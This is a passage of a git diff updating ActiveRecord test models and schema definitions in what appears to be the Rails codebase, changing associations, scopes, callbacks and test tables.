   scope :ranked_by_comments,      -> { order("comments_count DESC") }
 
   scope :limit_by, lambda {|l| limit(l) }
@@ -40,6 +41,11 @@ class Post < ActiveRecord::Base
   scope :with_comments, -> { preload(:comments) }
   scope :with_tags, -> { preload(:taggings) }
 
+  scope :tagged_with, ->(id) { joins(:taggings).where(taggings: { tag_id: id }) }
+  scope :tagged_with_comment, ->(comment) { joins(:taggings).where(taggings: { comment: comment }) }
+
+  scope :typographically_interesting, -> { containing_the_letter_a.or(titled_with_an_apostrophe) }
+
   has_many   :comments do
     def find_most_recent
       order("id DESC").first
@@ -65,15 +71,15 @@ class Post < ActiveRecord::Base
   has_many :author_favorites, :through => :author
   has_many :author_categorizations, :through => :author, :source => :categorizations
   has_many :author_addresses, :through => :author
-
-  has_many :comments_with_interpolated_conditions,
-    ->(p) { where "#{"#{p.aliased_table_name}." rescue ""}body = ?", 'Thank you for the welcome' },
-    :class_name => 'Comment'
+  has_many :author_address_extra_with_address,
+    through: :author_with_address,
+    source: :author_address_extra
 
   has_one  :very_special_comment
   has_one  :very_special_comment_with_post, -> { includes(:post) }, :class_name => "VerySpecialComment"
+  has_one :very_special_comment_with_post_with_joins, -> { joins(:post).order('posts.id') }, class_name: "VerySpecialComment"
   has_many :special_comments
-  has_many :nonexistant_comments, -> { where 'comments.id < 0' }, :class_name => 'Comment'
+  has_many :nonexistent_comments, -> { where 'comments.id < 0' }, :class_name => 'Comment'
 
   has_many :special_comments_ratings, :through => :special_comments, :source => :ratings
   has_many :special_comments_ratings_taggings, :through => :special_comments_ratings, :source => :taggings
@@ -83,7 +89,7 @@ class Post < ActiveRecord::Base
   has_and_belongs_to_many :categories
   has_and_belongs_to_many :special_categories, :join_table => "categories_posts", :association_foreign_key => 'category_id'
 
-  has_many :taggings, :as => :taggable
+  has_many :taggings, :as => :taggable, :counter_cache => :tags_count
   has_many :tags, :through => :taggings do
     def add_joins_and_select
       select('tags.*, authors.id as author_id')
@@ -121,6 +127,9 @@ class Post < ActiveRecord::Base
   has_many :taggings_using_author_id, :primary_key => :author_id, :as => :taggable, :class_name => 'Tagging'
   has_many :tags_using_author_id, :through => :taggings_using_author_id, :source => :tag
 
+  has_many :images, :as => :imageable, :foreign_key => :imageable_identifier, :foreign_type => :imageable_class
+  has_one :main_image, :as => :imageable, :foreign_key => :imageable_identifier, :foreign_type => :imageable_class, :class_name => 'Image'
+
   has_many :standard_categorizations, :class_name => 'Categorization', :foreign_key => :post_id
   has_many :author_using_custom_pk,  :through => :standard_categorizations
   has_many :authors_using_custom_pk, :through => :standard_categorizations
@@ -130,7 +139,6 @@ class Post < ActiveRecord::Base
   has_many :secure_readers
   has_many :readers_with_person, -> { includes(:person) }, :class_name => "Reader"
   has_many :people, :through => :readers
-  has_many :secure_people, :through => :secure_readers
   has_many :single_people, :through => :readers
   has_many :people_with_callbacks, :source=>:person, :through => :readers,
               :before_add    => lambda {|owner, reader| log(:added,   :before, reader.first_name) },
@@ -143,10 +151,18 @@ class Post < ActiveRecord::Base
   has_many :lazy_readers
   has_many :lazy_readers_skimmers_or_not, -> { where(skimmer: [ true, false ]) }, :class_name => 'LazyReader'
 
+  has_many :lazy_people, :through => :lazy_readers, :source => :person
+  has_many :lazy_readers_unscope_skimmers, -> { skimmers_or_not }, :class_name => 'LazyReader'
+  has_many :lazy_people_unscope_skimmers, :through => :lazy_readers_unscope_skimmers, :source => :person
+
   def self.top(limit)
     ranked_by_comments.limit_by(limit)
   end
 
+  def self.written_by(author)
+    where(id: author.posts.pluck(:id))
+  end
+
   def self.reset_log
     @log = []
   end
@@ -155,10 +171,6 @@ class Post < ActiveRecord::Base
     return @log if message.nil?
     @log << [message, side, new_record]
   end
-
-  def self.what_are_you
-    'a post...'
-  end
 end
 
 class SpecialPost < Post; end
@@ -200,3 +212,31 @@ class SpecialPostWithDefaultScope < ActiveRecord::Base
   self.table_name = 'posts'
   default_scope { where(:id => [1, 5,6]) }
 end
+
+class PostThatLoadsCommentsInAnAfterSaveHook < ActiveRecord::Base
+  self.table_name = 'posts'
+  has_many :comments, class_name: "CommentThatAutomaticallyAltersPostBody", foreign_key: :post_id
+
+  after_save do |post|
+    post.comments.load
+  end
+end
+
+class PostWithAfterCreateCallback < ActiveRecord::Base
+  self.table_name = 'posts'
+  has_many :comments, foreign_key: :post_id
+
+  after_create do |post|
+    update_attribute(:author_id, comments.first.id)
+  end
+end
+
+class PostWithCommentWithDefaultScopeReferencesAssociation < ActiveRecord::Base
+  self.table_name = 'posts'
+  has_many :comment_with_default_scope_references_associations, foreign_key: :post_id
+  has_one :first_comment, class_name: "CommentWithDefaultScopeReferencesAssociation", foreign_key: :post_id
+end
+
+class SerializedPost < ActiveRecord::Base
+  serialize :title
+end
diff --git a/activerecord/test/models/project.rb b/activerecord/test/models/project.rb
index c094b726b4..7f42a4b1f8 100644
--- a/activerecord/test/models/project.rb
+++ b/activerecord/test/models/project.rb
@@ -1,7 +1,6 @@
 class Project < ActiveRecord::Base
   has_and_belongs_to_many :developers, -> { distinct.order 'developers.name desc, developers.id desc' }
   has_and_belongs_to_many :readonly_developers, -> { readonly }, :class_name => "Developer"
-  has_and_belongs_to_many :selected_developers, -> { distinct.select "developers.*" }, :class_name => "Developer"
   has_and_belongs_to_many :non_unique_developers, -> { order 'developers.name desc, developers.id desc' }, :class_name => 'Developer'
   has_and_belongs_to_many :limited_developers, -> { limit 1 }, :class_name => "Developer"
   has_and_belongs_to_many :developers_named_david, -> { where("name = 'David'").distinct }, :class_name => "Developer"
diff --git a/activerecord/test/models/publisher.rb b/activerecord/test/models/publisher.rb
new file mode 100644
index 0000000000..0d4a7f9235
--- /dev/null
+++ b/activerecord/test/models/publisher.rb
@@ -0,0 +1,2 @@
+module Publisher
+end
diff --git a/activerecord/test/models/publisher/article.rb b/activerecord/test/models/publisher/article.rb
new file mode 100644
index 0000000000..d73a8eb936
--- /dev/null
+++ b/activerecord/test/models/publisher/article.rb
@@ -0,0 +1,4 @@
+class Publisher::Article < ActiveRecord::Base
+  has_and_belongs_to_many :magazines
+  has_and_belongs_to_many :tags
+end
diff --git a/activerecord/test/models/publisher/magazine.rb b/activerecord/test/models/publisher/magazine.rb
new file mode 100644
index 0000000000..82e1a14008
--- /dev/null
+++ b/activerecord/test/models/publisher/magazine.rb
@@ -0,0 +1,3 @@
+class Publisher::Magazine < ActiveRecord::Base
+  has_and_belongs_to_many :articles
+end
diff --git a/activerecord/test/models/randomly_named_c1.rb b/activerecord/test/models/randomly_named_c1.rb
index 18a86c4989..d4be1e13b4 100644
--- a/activerecord/test/models/randomly_named_c1.rb
+++ b/activerecord/test/models/randomly_named_c1.rb
@@ -1,3 +1,3 @@
 class ClassNameThatDoesNotFollowCONVENTIONS < ActiveRecord::Base

-  self.table_name = :randomly_named_table

+  self.table_name = :randomly_named_table1

 end

diff --git a/activerecord/test/models/reader.rb b/activerecord/test/models/reader.rb
index 3a6b7fad34..91afc1898c 100644
--- a/activerecord/test/models/reader.rb
+++ b/activerecord/test/models/reader.rb
@@ -16,6 +16,8 @@ class LazyReader < ActiveRecord::Base
   self.table_name = "readers"
   default_scope -> { where(skimmer: true) }
 
+  scope :skimmers_or_not, -> { unscope(:where => :skimmer) }
+
   belongs_to :post
   belongs_to :person
 end
diff --git a/activerecord/test/models/record.rb b/activerecord/test/models/record.rb
new file mode 100644
index 0000000000..f77ac9fc03
--- /dev/null
+++ b/activerecord/test/models/record.rb
@@ -0,0 +1,2 @@
+class Record < ActiveRecord::Base
+end
diff --git a/activerecord/test/models/ship.rb b/activerecord/test/models/ship.rb
index 3da031946f..312caef604 100644
--- a/activerecord/test/models/ship.rb
+++ b/activerecord/test/models/ship.rb
@@ -4,9 +4,10 @@ class Ship < ActiveRecord::Base
   belongs_to :pirate
   belongs_to :update_only_pirate, :class_name => 'Pirate'
   has_many :parts, :class_name => 'ShipPart'
+  has_many :treasures
 
   accepts_nested_attributes_for :parts, :allow_destroy => true
-  accepts_nested_attributes_for :pirate, :allow_destroy => true, :reject_if => proc { |attributes| attributes.empty? }
+  accepts_nested_attributes_for :pirate, :allow_destroy => true, :reject_if => proc(&:empty?)
   accepts_nested_attributes_for :update_only_pirate, :update_only => true
 
   validates_presence_of :name
@@ -14,6 +15,12 @@ class Ship < ActiveRecord::Base
   attr_accessor :cancel_save_from_callback
   before_save :cancel_save_callback_method, :if => :cancel_save_from_callback
   def cancel_save_callback_method
-    false
+    throw(:abort)
   end
 end
+
+class FamousShip < ActiveRecord::Base
+  self.table_name = 'ships'
+  belongs_to :famous_pirate
+  validates_presence_of :name, on: :conference
+end
diff --git a/activerecord/test/models/ship_part.rb b/activerecord/test/models/ship_part.rb
index b6a8a506b4..05c65f8a4a 100644
--- a/activerecord/test/models/ship_part.rb
+++ b/activerecord/test/models/ship_part.rb
@@ -2,6 +2,7 @@ class ShipPart < ActiveRecord::Base
   belongs_to :ship
   has_many :trinkets, :class_name => "Treasure", :as => :looter
   accepts_nested_attributes_for :trinkets, :allow_destroy => true
+  accepts_nested_attributes_for :ship
 
   validates_presence_of :name
-end
\ No newline at end of file
+end
diff --git a/activerecord/test/models/shop.rb b/activerecord/test/models/shop.rb
index 81414227ea..607a0a5b41 100644
--- a/activerecord/test/models/shop.rb
+++ b/activerecord/test/models/shop.rb
@@ -5,6 +5,11 @@ module Shop
 
   class Product < ActiveRecord::Base
     has_many :variants, :dependent => :delete_all
+    belongs_to :type
+
+    class Type < ActiveRecord::Base
+      has_many :products
+    end
   end
 
   class Variant < ActiveRecord::Base
diff --git a/activerecord/test/models/student.rb b/activerecord/test/models/student.rb
index f459f2a9a3..28a0b6c99b 100644
--- a/activerecord/test/models/student.rb
+++ b/activerecord/test/models/student.rb
@@ -1,3 +1,4 @@
 class Student < ActiveRecord::Base
   has_and_belongs_to_many :lessons
+  belongs_to :college
 end
diff --git a/activerecord/test/models/tag.rb b/activerecord/test/models/tag.rb
index a581b381e8..80d4725f7e 100644
--- a/activerecord/test/models/tag.rb
+++ b/activerecord/test/models/tag.rb
@@ -3,5 +3,5 @@ class Tag < ActiveRecord::Base
   has_many :taggables, :through => :taggings
   has_one  :tagging
 
-  has_many :tagged_posts, :through => :taggings, :source => :taggable, :source_type => 'Post'
-end
\ No newline at end of file
+  has_many :tagged_posts, :through => :taggings, :source => 'taggable', :source_type => 'Post'
+end
diff --git a/activerecord/test/models/tagging.rb b/activerecord/test/models/tagging.rb
index f91f2ad2e9..a6c05da26a 100644
--- a/activerecord/test/models/tagging.rb
+++ b/activerecord/test/models/tagging.rb
@@ -8,6 +8,6 @@ class Tagging < ActiveRecord::Base
   belongs_to :invalid_tag, :class_name => 'Tag', :foreign_key => 'tag_id'
   belongs_to :blue_tag, -> { where :tags => { :name => 'Blue' } }, :class_name => 'Tag', :foreign_key => :tag_id
   belongs_to :tag_with_primary_key, :class_name => 'Tag', :foreign_key => :tag_id, :primary_key => :custom_primary_key
-  belongs_to :taggable, :polymorphic => true, :counter_cache => true
+  belongs_to :taggable, :polymorphic => true, :counter_cache => :tags_count
   has_many :things, :through => :taggable
 end
diff --git a/activerecord/test/models/topic.rb b/activerecord/test/models/topic.rb
index 17035bf338..f81ffe1d90 100644
--- a/activerecord/test/models/topic.rb
+++ b/activerecord/test/models/topic.rb
@@ -34,7 +34,6 @@ class Topic < ActiveRecord::Base
 
   has_many :replies, :dependent => :destroy, :foreign_key => "parent_id"
   has_many :approved_replies, -> { approved }, class_name: 'Reply', foreign_key: "parent_id", counter_cache: 'replies_count'
-  has_many :replies_with_primary_key, :class_name => "Reply", :dependent => :destroy, :primary_key => "title", :foreign_key => "parent_title"
 
   has_many :unique_replies, :dependent => :destroy, :foreign_key => "parent_id"
   has_many :silly_unique_replies, :dependent => :destroy, :foreign_key => "parent_id"
@@ -107,6 +106,10 @@ class ImportantTopic < Topic
   serialize :important, Hash
 end
 
+class DefaultRejectedTopic < Topic
+  default_scope -> { where(approved: false) }
+end
+
 class BlankTopic < Topic
   # declared here to make sure that dynamic finder with a bang can find a model that responds to `blank?`
   def blank?
diff --git a/activerecord/test/models/treasure.rb b/activerecord/test/models/treasure.rb
index e864295acf..ffc65466d5 100644
--- a/activerecord/test/models/treasure.rb
+++ b/activerecord/test/models/treasure.rb
@@ -1,8 +1,10 @@
 class Treasure < ActiveRecord::Base
   has_and_belongs_to_many :parrots
   belongs_to :looter, :polymorphic => true
+  belongs_to :ship
 
   has_many :price_estimates, :as => :estimate_of
+  has_and_belongs_to_many :rich_people, join_table: 'peoples_treasures', validate: false
 
   accepts_nested_attributes_for :looter
 end
diff --git a/activerecord/test/models/tyre.rb b/activerecord/test/models/tyre.rb
index bc3444aa7d..e50a21ca68 100644
--- a/activerecord/test/models/tyre.rb
+++ b/activerecord/test/models/tyre.rb
@@ -1,3 +1,11 @@
 class Tyre < ActiveRecord::Base
   belongs_to :car
+
+  def self.custom_find(id)
+    find(id)
+  end
+
+  def self.custom_find_by(*args)
+    find_by(*args)
+  end
 end
diff --git a/activerecord/test/models/user.rb b/activerecord/test/models/user.rb
new file mode 100644
index 0000000000..23cd2e0e1c
--- /dev/null
+++ b/activerecord/test/models/user.rb
@@ -0,0 +1,4 @@
+class User < ActiveRecord::Base
+  has_secure_token
+  has_secure_token :auth_token
+end
diff --git a/activerecord/test/models/uuid_child.rb b/activerecord/test/models/uuid_child.rb
new file mode 100644
index 0000000000..a3d0962ad6
--- /dev/null
+++ b/activerecord/test/models/uuid_child.rb
@@ -0,0 +1,3 @@
+class UuidChild < ActiveRecord::Base
+  belongs_to :uuid_parent
+end
diff --git a/activerecord/test/models/uuid_parent.rb b/activerecord/test/models/uuid_parent.rb
new file mode 100644
index 0000000000..5634f22d0c
--- /dev/null
+++ b/activerecord/test/models/uuid_parent.rb
@@ -0,0 +1,3 @@
+class UuidParent < ActiveRecord::Base
+  has_many :uuid_children
+end
diff --git a/activerecord/test/schema/oracle_specific_schema.rb b/activerecord/test/schema/oracle_specific_schema.rb
index 3314687445..264d9b8910 100644
--- a/activerecord/test/schema/oracle_specific_schema.rb
+++ b/activerecord/test/schema/oracle_specific_schema.rb
@@ -3,7 +3,6 @@ ActiveRecord::Schema.define do
   execute "drop table test_oracle_defaults" rescue nil
   execute "drop sequence test_oracle_defaults_seq" rescue nil
   execute "drop sequence companies_nonstd_seq" rescue nil
-  execute "drop synonym subjects" rescue nil
   execute "drop table defaults" rescue nil
   execute "drop sequence defaults_seq" rescue nil
 
@@ -22,8 +21,6 @@ create sequence test_oracle_defaults_seq minvalue 10000
 
   execute "create sequence companies_nonstd_seq minvalue 10000"
 
-  execute "create synonym subjects for topics"
-
   execute <<-SQL
   CREATE TABLE defaults (
       id integer not null,
@@ -35,10 +32,7 @@ create sequence test_oracle_defaults_seq minvalue 10000
       fixed_time date default TO_DATE('2004-01-01 00:00:00', 'YYYY-MM-DD HH24:MI:SS'),
       char1 varchar2(1) default 'Y',
       char2 varchar2(50) default 'a varchar field',
-      char3 clob default 'a text field',
-      positive_integer integer default 1,
-      negative_integer integer default -1,
-      decimal_number number(3,2) default 2.78
+      char3 clob default 'a text field'
   )
   SQL
   execute "create sequence defaults_seq minvalue 10000"
diff --git a/activerecord/test/schema/postgresql_specific_schema.rb b/activerecord/test/schema/postgresql_specific_schema.rb
index 6b7012a172..55360b9aa2 100644
--- a/activerecord/test/schema/postgresql_specific_schema.rb
+++ b/activerecord/test/schema/postgresql_specific_schema.rb
@@ -1,7 +1,7 @@
 ActiveRecord::Schema.define do
 
-  %w(postgresql_ranges postgresql_tsvectors postgresql_hstores postgresql_arrays postgresql_moneys postgresql_numbers postgresql_times postgresql_network_addresses postgresql_bit_strings postgresql_uuids postgresql_ltrees
-      postgresql_oids postgresql_xml_data_type defaults geometrics postgresql_timestamp_with_zones postgresql_partitioned_table postgresql_partitioned_table_parent postgresql_json_data_type).each do |table_name|
+  %w(postgresql_times postgresql_oids defaults postgresql_timestamp_with_zones
+      postgresql_partitioned_table postgresql_partitioned_table_parent).each do |table_name|
     execute "DROP TABLE IF EXISTS #{quote_table_name table_name}"
   end
 
@@ -12,8 +12,6 @@ ActiveRecord::Schema.define do
 
   execute 'DROP FUNCTION IF EXISTS partitioned_insert_trigger()'
 
-  execute "DROP SCHEMA IF EXISTS schema_1 CASCADE"
-
   %w(accounts_id_seq developers_id_seq projects_id_seq topics_id_seq customers_id_seq orders_id_seq).each do |seq_name|
     execute "SELECT setval('#{seq_name}', 100)"
   end
@@ -30,111 +28,13 @@ ActiveRecord::Schema.define do
     char1 char(1) default 'Y',
     char2 character varying(50) default 'a varchar field',
     char3 text default 'a text field',
-    positive_integer integer default 1,
-    negative_integer integer default -1,
     bigint_default bigint default 0::bigint,
-    decimal_number decimal(3,2) default 2.78,
     multiline_default text DEFAULT '--- []
 
 '::text
 );
 _SQL
 
-  execute "CREATE SCHEMA schema_1"
-  execute "CREATE DOMAIN schema_1.text AS text"
-  execute "CREATE DOMAIN schema_1.varchar AS varchar"
-  execute "CREATE DOMAIN schema_1.bpchar AS bpchar"
-
-  execute <<_SQL
-  CREATE TABLE geometrics (
-    id serial primary key,
-    a_point point,
-    -- a_line line, (the line type is currently not implemented in postgresql)
-    a_line_segment lseg,
-    a_box box,
-    a_path path,
-    a_polygon polygon,
-    a_circle circle
-  );
-_SQL
-
-  execute <<_SQL
-  CREATE TABLE postgresql_arrays (
-    id SERIAL PRIMARY KEY,
-    commission_by_quarter INTEGER[],
-    nicknames TEXT[]
-  );
-_SQL
-
-  execute <<_SQL
-  CREATE TABLE postgresql_uuids (
-    id SERIAL PRIMARY KEY,
-    guid uuid,
-    compact_guid uuid
-  );
-_SQL
-
-  execute <<_SQL if supports_ranges?
-  CREATE TABLE postgresql_ranges (
-    id SERIAL PRIMARY KEY,
-    date_range daterange,
-    num_range numrange,
-    ts_range tsrange,
-    tstz_range tstzrange,
-    int4_range int4range,
-    int8_range int8range
-  );
-_SQL
-
-  execute <<_SQL
-  CREATE TABLE postgresql_tsvectors (
-    id SERIAL PRIMARY KEY,
-    text_vector tsvector
-  );
-_SQL
-
-  if 't' == select_value("select 'hstore'=ANY(select typname from pg_type)")
-  execute <<_SQL
-  CREATE TABLE postgresql_hstores (
-    id SERIAL PRIMARY KEY,
-    hash_store hstore default ''::hstore
-  );
-_SQL
-  end
-
-  if 't' == select_value("select 'ltree'=ANY(select typname from pg_type)")
-  execute <<_SQL
-  CREATE TABLE postgresql_ltrees (
-    id SERIAL PRIMARY KEY,
-    path ltree
-  );
-_SQL
-  end
-
-  if 't' == select_value("select 'json'=ANY(select typname from pg_type)")
-  execute <<_SQL
-  CREATE TABLE postgresql_json_data_type (
-    id SERIAL PRIMARY KEY,
-    json_data json default '{}'::json
-  );
-_SQL
-  end
-
-  execute <<_SQL
-  CREATE TABLE postgresql_moneys (
-    id SERIAL PRIMARY KEY,
-    wealth MONEY
-  );
-_SQL
-
-  execute <<_SQL
-  CREATE TABLE postgresql_numbers (
-    id SERIAL PRIMARY KEY,
-    single REAL,
-    double DOUBLE PRECISION
-  );
-_SQL
-
   execute <<_SQL
   CREATE TABLE postgresql_times (
     id SERIAL PRIMARY KEY,
@@ -144,23 +44,6 @@ _SQL
 _SQL
 
   execute <<_SQL
-  CREATE TABLE postgresql_network_addresses (
-    id SERIAL PRIMARY KEY,
-    cidr_address CIDR default '192.168.1.0/24',
-    inet_address INET default '192.168.1.1',
-    mac_address MACADDR default 'ff:ff:ff:ff:ff:ff'
-  );
-_SQL
-
-  execute <<_SQL
-  CREATE TABLE postgresql_bit_strings (
-    id SERIAL PRIMARY KEY,
-    bit_string BIT(8),
-    bit_string_varying BIT VARYING(8)
-  );
-_SQL
-
-  execute <<_SQL
   CREATE TABLE postgresql_oids (
     id SERIAL PRIMARY KEY,
     obj_id OID
@@ -221,4 +104,3 @@ _SQL
     t.text :text, limit: 100_000
   end
 end
-
diff --git a/activerecord/test/schema/schema.rb b/activerecord/test/schema/schema.rb
index 75711673a7..a7d90e3f89 100644
--- a/activerecord/test/schema/schema.rb
+++ b/activerecord/test/schema/schema.rb
@@ -1,4 +1,3 @@
-# encoding: utf-8
 
 ActiveRecord::Schema.define do
   def except(adapter_names_to_exclude)
@@ -9,13 +8,14 @@ ActiveRecord::Schema.define do
 
   #put adapter specific setup here
   case adapter_name
-    # For Firebird, set the sequence values 10000 when create_table is called;
-    # this prevents primary key collisions between "normally" created records
-    # and fixture-based (YAML) records.
-  when "Firebird"
-    def create_table(*args, &block)
-      ActiveRecord::Base.connection.create_table(*args, &block)
-      ActiveRecord::Base.connection.execute "SET GENERATOR #{args.first}_seq TO 10000"
+  when "PostgreSQL"
+    enable_extension!('uuid-ossp', ActiveRecord::Base.connection)
+    create_table :uuid_parents, id: :uuid, force: true do |t|
+      t.string :name
+    end
+    create_table :uuid_children, id: :uuid, force: true do |t|
+      t.string :name
+      t.uuid :uuid_parent_id
     end
   end
 
@@ -27,111 +27,131 @@ ActiveRecord::Schema.define do
   #                                                                     #
   # ------------------------------------------------------------------- #
 
-  create_table :accounts, :force => true do |t|
+  create_table :accounts, force: true do |t|
     t.integer :firm_id
     t.string  :firm_name
     t.integer :credit_limit
   end
 
-  create_table :admin_accounts, :force => true do |t|
+  create_table :admin_accounts, force: true do |t|
     t.string :name
   end
 
-  create_table :admin_users, :force => true do |t|
+  create_table :admin_users, force: true do |t|
     t.string :name
-    t.string :settings, :null => true, :limit => 1024
+    t.string :settings, null: true, limit: 1024
     # MySQL does not allow default values for blobs. Fake it out with a
     # big varchar below.
-    t.string :preferences, :null => true, :default => '', :limit => 1024
-    t.string :json_data, :null => true, :limit => 1024
-    t.string :json_data_empty, :null => true, :default => "", :limit => 1024
+    t.string :preferences, null: true, default: '', limit: 1024
+    t.string :json_data, null: true, limit: 1024
+    t.string :json_data_empty, null: true, default: "", limit: 1024
+    t.text :params
     t.references :account
   end
 
-  create_table :aircraft, :force => true do |t|
+  create_table :aircraft, force: true do |t|
     t.string :name
   end
 
-  create_table :audit_logs, :force => true do |t|
-    t.column :message, :string, :null=>false
-    t.column :developer_id, :integer, :null=>false
+  create_table :articles, force: true do |t|
+  end
+
+  create_table :articles_magazines, force: true do |t|
+    t.references :article
+    t.references :magazine
+  end
+
+  create_table :articles_tags, force: true do |t|
+    t.references :article
+    t.references :tag
+  end
+
+  create_table :audit_logs, force: true do |t|
+    t.column :message, :string, null: false
+    t.column :developer_id, :integer, null: false
     t.integer :unvalidated_developer_id
   end
 
-  create_table :authors, :force => true do |t|
-    t.string :name, :null => false
+  create_table :authors, force: true do |t|
+    t.string :name, null: false
     t.integer :author_address_id
     t.integer :author_address_extra_id
     t.string :organization_id
     t.string :owned_essay_id
   end
 
-  create_table :author_addresses, :force => true do |t|
+  create_table :author_addresses, force: true do |t|
   end
 
-  create_table :author_favorites, :force => true do |t|
+  add_foreign_key :authors, :author_addresses
+
+  create_table :author_favorites, force: true do |t|
     t.column :author_id, :integer
     t.column :favorite_author_id, :integer
   end
 
-  create_table :auto_id_tests, :force => true, :id => false do |t|
+  create_table :auto_id_tests, force: true, id: false do |t|
     t.primary_key :auto_id
     t.integer     :value
   end
 
-  create_table :binaries, :force => true do |t|
+  create_table :binaries, force: true do |t|
     t.string :name
     t.binary :data
-    t.binary :short_data, :limit => 2048
+    t.binary :short_data, limit: 2048
   end
 
-  create_table :birds, :force => true do |t|
+  create_table :birds, force: true do |t|
     t.string :name
     t.string :color
     t.integer :pirate_id
   end
 
-  create_table :books, :force => true do |t|
+  create_table :books, force: true do |t|
     t.integer :author_id
+    t.string :format
     t.column :name, :string
+    t.column :status, :integer, default: 0
+    t.column :read_status, :integer, default: 0
+    t.column :nullable_status, :integer
   end
 
-  create_table :booleans, :force => true do |t|
+  create_table :booleans, force: true do |t|
     t.boolean :value
-    t.boolean :has_fun, :null => false, :default => false
+    t.boolean :has_fun, null: false, default: false
   end
 
-  create_table :bulbs, :force => true do |t|
+  create_table :bulbs, force: true do |t|
     t.integer :car_id
     t.string  :name
     t.boolean :frickinawesome
     t.string :color
   end
 
-  create_table "CamelCase", :force => true do |t|
+  create_table "CamelCase", force: true do |t|
     t.string :name
   end
 
-  create_table :cars, :force => true do |t|
+  create_table :cars, force: true do |t|
     t.string  :name
     t.integer :engines_count
     t.integer :wheels_count
-    t.column :lock_version, :integer, :null => false, :default => 0
-    t.timestamps
+    t.column :lock_version, :integer, null: false, default: 0
+    t.timestamps null: false
   end
 
-  create_table :categories, :force => true do |t|
-    t.string :name, :null => false
+  create_table :categories, force: true do |t|
+    t.string :name, null: false
     t.string :type
     t.integer :categorizations_count
   end
 
-  create_table :categories_posts, :force => true, :id => false do |t|
-    t.integer :category_id, :null => false
-    t.integer :post_id, :null => false
+  create_table :categories_posts, force: true, id: false do |t|
+    t.integer :category_id, null: false
+    t.integer :post_id, null: false
   end
 
-  create_table :categorizations, :force => true do |t|
+  create_table :categorizations, force: true do |t|
     t.column :category_id, :integer
     t.string :named_category_name
     t.column :post_id, :integer
@@ -139,98 +159,112 @@ ActiveRecord::Schema.define do
     t.column :special, :boolean
   end
 
-  create_table :citations, :force => true do |t|
+  create_table :citations, force: true do |t|
     t.column :book1_id, :integer
     t.column :book2_id, :integer
   end
 
-  create_table :clubs, :force => true do |t|
+  create_table :clubs, force: true do |t|
     t.string :name
     t.integer :category_id
   end
 
-  create_table :collections, :force => true do |t|
+  create_table :collections, force: true do |t|
     t.string :name
   end
 
-  create_table :colnametests, :force => true do |t|
-    t.integer :references, :null => false
+  create_table :colnametests, force: true do |t|
+    t.integer :references, null: false
+  end
+
+  create_table :columns, force: true do |t|
+    t.references :record
   end
 
-  create_table :comments, :force => true do |t|
-    t.integer :post_id, :null => false
+  create_table :comments, force: true do |t|
+    t.integer :post_id, null: false
     # use VARCHAR2(4000) instead of CLOB datatype as CLOB data type has many limitations in
     # Oracle SELECT WHERE clause which causes many unit test failures
     if current_adapter?(:OracleAdapter)
-      t.string  :body, :null => false, :limit => 4000
+      t.string  :body, null: false, limit: 4000
     else
-      t.text    :body, :null => false
+      t.text    :body, null: false
     end
     t.string  :type
-    t.integer :taggings_count, :default => 0
-    t.integer :children_count, :default => 0
+    t.integer :tags_count, default: 0
+    t.integer :children_count, default: 0
     t.integer :parent_id
+    t.references :author, polymorphic: true
+    t.string :resource_id
+    t.string :resource_type
+    t.integer :developer_id
   end
 
-  create_table :companies, :force => true do |t|
+  create_table :companies, force: true do |t|
     t.string  :type
     t.integer :firm_id
     t.string  :firm_name
     t.string  :name
     t.integer :client_of
-    t.integer :rating, :default => 1
+    t.integer :rating, default: 1
     t.integer :account_id
-    t.string :description, :default => ""
+    t.string :description, default: ""
   end
 
-  add_index :companies, [:firm_id, :type, :rating], :name => "company_index"
-  add_index :companies, [:firm_id, :type], :name => "company_partial_index", :where => "rating > 10"
-  add_index :companies, :name, :name => 'company_name_index', :using => :btree
+  add_index :companies, [:firm_id, :type, :rating], name: "company_index"
+  add_index :companies, [:firm_id, :type], name: "company_partial_index", where: "rating > 10"
+  add_index :companies, :name, name: 'company_name_index', using: :btree
 
-  create_table :vegetables, :force => true do |t|
+  create_table :vegetables, force: true do |t|
     t.string :name
     t.integer :seller_id
     t.string :custom_type
   end
 
-  create_table :computers, :force => true do |t|
-    t.integer :developer, :null => false
-    t.integer :extendedWarranty, :null => false
+  create_table :computers, force: true do |t|
+    t.string :system
+    t.integer :developer, null: false
+    t.integer :extendedWarranty, null: false
+  end
+
+  create_table :computers_developers, id: false, force: true do |t|
+    t.references :computer
+    t.references :developer
   end
 
-  create_table :contracts, :force => true do |t|
+  create_table :contracts, force: true do |t|
     t.integer :developer_id
     t.integer :company_id
   end
 
-  create_table :customers, :force => true do |t|
+  create_table :customers, force: true do |t|
     t.string  :name
-    t.integer :balance, :default => 0
+    t.integer :balance, default: 0
     t.string  :address_street
     t.string  :address_city
     t.string  :address_country
     t.string  :gps_location
   end
 
-  create_table :dashboards, :force => true, :id => false do |t|
+  create_table :dashboards, force: true, id: false do |t|
     t.string :dashboard_id
     t.string :name
   end
 
-  create_table :developers, :force => true do |t|
+  create_table :developers, force: true do |t|
     t.string   :name
-    t.integer  :salary, :default => 70000
+    t.integer  :salary, default: 70000
     t.datetime :created_at
     t.datetime :updated_at
     t.datetime :created_on
     t.datetime :updated_on
   end
 
-  create_table :developers_projects, :force => true, :id => false do |t|
-    t.integer :developer_id, :null => false
-    t.integer :project_id, :null => false
+  create_table :developers_projects, force: true, id: false do |t|
+    t.integer :developer_id, null: false
+    t.integer :project_id, null: false
     t.date    :joined_on
-    t.integer :access_level, :default => 1
+    t.integer :access_level, default: 1
   end
 
   create_table :dog_lovers, force: true do |t|
@@ -239,28 +273,29 @@ ActiveRecord::Schema.define do
     t.integer :dogs_count, default: 0
   end
 
-  create_table :dogs, :force => true do |t|
+  create_table :dogs, force: true do |t|
     t.integer :trainer_id
     t.integer :breeder_id
     t.integer :dog_lover_id
+    t.string  :alias
   end
 
-  create_table :edges, :force => true, :id => false do |t|
-    t.column :source_id, :integer, :null => false
-    t.column :sink_id,   :integer, :null => false
+  create_table :edges, force: true, id: false do |t|
+    t.column :source_id, :integer, null: false
+    t.column :sink_id,   :integer, null: false
   end
-  add_index :edges, [:source_id, :sink_id], :unique => true, :name => 'unique_edge_index'
+  add_index :edges, [:source_id, :sink_id], unique: true, name: 'unique_edge_index'
 
-  create_table :engines, :force => true do |t|
+  create_table :engines, force: true do |t|
     t.integer :car_id
   end
 
-  create_table :entrants, :force => true do |t|
-    t.string  :name, :null => false
-    t.integer :course_id, :null => false
+  create_table :entrants, force: true do |t|
+    t.string  :name, null: false
+    t.integer :course_id, null: false
   end
 
-  create_table :essays, :force => true do |t|
+  create_table :essays, force: true do |t|
     t.string :name
     t.string :writer_id
